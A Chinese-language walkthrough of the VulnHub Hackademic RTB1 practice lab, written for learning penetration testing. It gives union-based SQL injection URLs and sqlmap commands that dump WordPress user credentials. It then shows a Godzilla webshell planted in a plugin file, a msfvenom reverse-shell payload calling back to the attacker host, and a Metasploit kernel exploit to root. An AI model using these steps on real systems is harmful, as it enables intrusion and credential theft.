一、环境搭建
靶场下载:https://www.vulnhub.com/entry/hackademic-rtb1,17/
注意:靶场解压用vmware打开后,直接换张NAT模式的网络适配器。Kali也调整为NAT模式。
kali上执行以下命令,发现靶机IP:
arp-scan -I eth0 -l
攻击机:192.168.118.131(kali)
靶机:192.168.118.128
二、靶机目标
找到root目录下的key.txt。
三、工具准备
端口扫描:masscan、nmap
目录扫描:dirsearch
webshell工具:gozilla
反弹shell、提权:msf
网站环境发现:firefox的插件——wappalyzer
四、详细步骤
1. 信息收集
1.1端口扫描(全端口)
1.1.1 对靶机IP进行端口探测,为防漏探,务必使用全端口扫描。
使用工具:masscan
masscan -p 0-65535 192.168.118.128 --rate=1000
1.1.2 为防止漏扫,这里再使用nmap进行全端口扫描。
使用工具:nmap
nmap -sS 192.168.118.128 -p 0-65535
总共发现两个端口——22、80,但22端口是close状态,没用。
1.2网站环境发现
1.2.1通过火狐插件——wappalyzer得知网站的环境信息:
CMS:wordpress
语言解析环境:PHP
数据库:MYSQL
中间件:apache
1.3 80端口探索
1.3.1访问http://192.168.118.128.
该页面看似什么都没有,但页面中的一些字符点击之后是可以进行页面跳转的,查看所有页面,找到存在漏洞的点。
1.3.2发现疑似sql注入点
在页面点击target,页面跳转后,再点击uncategonrized发现疑似存在sql注入点的url:http://192.168.118.128/Hackademic_RTB1/?cat=1
http://192.168.118.128/Hackademic_RTB1/?cat=2 页面内容如下:
这里还怀疑过存在其他界面譬如cat=10086,用bp暴力破解过,但结果发现确实只有cat=1和cat=2两个界面。
其他跳转页面如/?Page_id=6和p=9#comments的界面测试过,不存在sql注入,这里就不展示了。
1.4目录扫描
使用工具:dirsearch
dirsearch -u http://192.168.118.128 -w /DIR.txt
未没有发现有用的目录。
2.SQL注入
2.1确定存在注入点
http://192.168.118.128/Hackademic_RTB1/?cat=1 and sleep(5)
页面延时5秒,确定存在注入点,数字型,无需闭合符。
2.2 判断列数
Order by结合二分法确定列数为5。因为order by 6时页面报错,order by 5时页面回显正常。
http://192.168.118.128/Hackademic_RTB1/?cat=1%20order%20by%206
http://192.168.118.128/Hackademic_RTB1/?cat=1%20order%20by%205
2.3 判断回显点
Cat=0置空,使用联合查询发现页面存在回显点——‘2’,可以使用回显注入。
http://192.168.118.128/Hackademic_RTB1/?cat=1%20union%20select%201,2,3,4,5
2.4 获取数据库版本号
获取结果:MYSQL 5.1.47。
MYSQL大于5的版本默认库名information_schema.schemata。
http://192.168.118.128/Hackademic_RTB1/?cat=0%20union%20select%201,version(),3,4,5
2.5获取当前用户名
获取结果:root@localhost。
http://192.168.118.128/Hackademic_RTB1/?cat=0%20union%20select%201,user(),3,4,5
2.6获取当前数据库
获取结果:wordpress。
http://192.168.118.128/Hackademic_RTB1/?cat=0%20union%20select%201,database(),3,4,5
2.7爆所有库名
http://192.168.118.128/Hackademic_RTB1/?cat=0%20union%20select%201,group_concat(schema_name),3,4,5%20from%20information_schema.schemata
结果如图:
2.8爆wordpress库中的所有表名
http://192.168.118.128/Hackademic_RTB1/?cat=0%20union%20select%201,group_concat(table_name),3,4,5%20from%20information_schema.tables%20where%20table_schema=database()
结果如图:
2.9爆wordpress库中wp_users表中的列名
这里手工的时候,单引号被过滤,如图:
http://192.168.118.128/Hackademic_RTB1/?cat=0%20union%20select%201,group_concat(column_name),3,4,5%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27wp_users%27
懒得绕了,直接上工具,继续爆破。
使用工具:sqlmap
sqlmap -u 'http://192.168.118.128/Hackademic_RTB1/?cat=1' -D wordpress -T wp_users --columns
2.10爆用户名和密码
2.10.1用户名
sqlmap -u 'http://192.168.118.128/Hackademic_RTB1/?cat=1' -D wordpress -T wp_users -C user_login --dump
2.10.2密码
sqlmap -u 'http://192.168.118.128/Hackademic_RTB1/?cat=1' -D wordpress -T wp_users -C user_pass --dump
3. 连接webshell工具
说实话在这里卡了很久,虽然得到了用户名和密码,但不知道在哪里用,目录扫描也没有扫到任何后台。
第一时间想到的是wordpress的管理后台,感觉也只有这个了,去网上搜后台默认目录,发现是——wp-admin或是wp-login.php。
但访问http://192.168.118.128/wp-admin和http://192.168.118.128/wp-login.php、http://192.168.118.128/wordpress/wp-admin都发现不存在这两个目录,起初还以为管理员修改了默认的管理后台,陷入了瓶颈。
但实在想不到这一靶场有其他的解法,突然想到可能是访问wp-admin的目录错了,于是立马访问192.168.118.128/Hackademic_RTB1/wp-admin,终于看到了wordpress的后台。
竟然因为这个原因卡这么久,长教训了TAT。
3.1访问后台
http://192.168.118.128/Hackademic_RTB1/wp-admin
3.2 输入用户名和密码登录
一开始输入用户名GeorgeMiller和密码admin登陆失败,才明白前面获取的用户名和密码不是从上到下一一对应的关系,于是用BP暴力破解了一下,得到以下对应关系:
用GeorgeMiller登入后台,这里GeorgeMiller用户权限是最高的,注意不要登错其他用户了,其他用户界面由于等级原因是不一样的,不信可以试试。
3.3查找可以利用的功能点
最后找到后台的可利用功能点如下图:
3.3.1先用phpinfo测试一下,将hello.php的内容修改为:
<?php phpinfo();?>
访问hello.php这个文件:
http://192.168.118.128/Hackademic_RTB1/wp-content/plugins/hello.php
如下图,证明确实可利用:
3.3.2将hello.php的内容修改为哥斯拉一句话木马。
用哥斯拉连接,成功。
4.反弹shell
目标在/root/key.txt下,所以必定是要提权的,提权之前先反弹shell。
4.1查看系统内核版本
得到该系统内核:linux2.6.31,32位,这一步很重要,关系到后续木马的制作。
uname -a
4.2制作linux木马
使用工具:msfvnom
由于目标系统是32位的linux系统,因此选择payload时要选linux/x86的模块,之前设置成了x64的放到靶机上就执行不了。
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.118.131 lport=9999 -f elf > bababa.elf
4.3上传木马
通过哥斯拉直接上传木马
4.4 Msf开启监听
Msfconsole #启动msf工具 use exploit/multi/handler Set payload linux/x86/meterpreter/reverse_tcp #这里的模块要和木马里面的模块相同 Set lhost 192.168.118.131 #和木马中的相同 Set lport 9999 #和木马中的相同 Run #开始监听
4.5运行木马
运行bababa.elf,在哥斯拉的命令执行终端,切换到木马存放的位置直接执行即可。
4.6建立会话
msf得到一个meterpreter(会话),然而权限很低,只是apache用户。
5.提权
5.1保存会话
将已经得到的会话保存到后台。
background
5.2查看会话id
sessions -l
5.3使用msf自带的查找提权exp的模块
search suggester
use 0 #使用上图查找出来的模块,0是它的编号 set session 1 #设置参数,将该模块目标设为之前获取的会话1 run
查找结果如下:
这里试了以上部分模块,有些是获取不到会话的,挨着试,最后用第五个模块获取到会话:exploit/linux/local/rds_rds_page_copy_user_priv_esc
use exploit/linux/local/rds_rds_page_copy_user_priv_esc show options #查看需要配置的参数
设置参数:
set session 1 #提权目标依然是会话1 set lhost 192.168.118.131 run #运行
获得会话,且权限已经提升到root。
获得key.txt
查看/root/key.txt
cat /root/ket.txt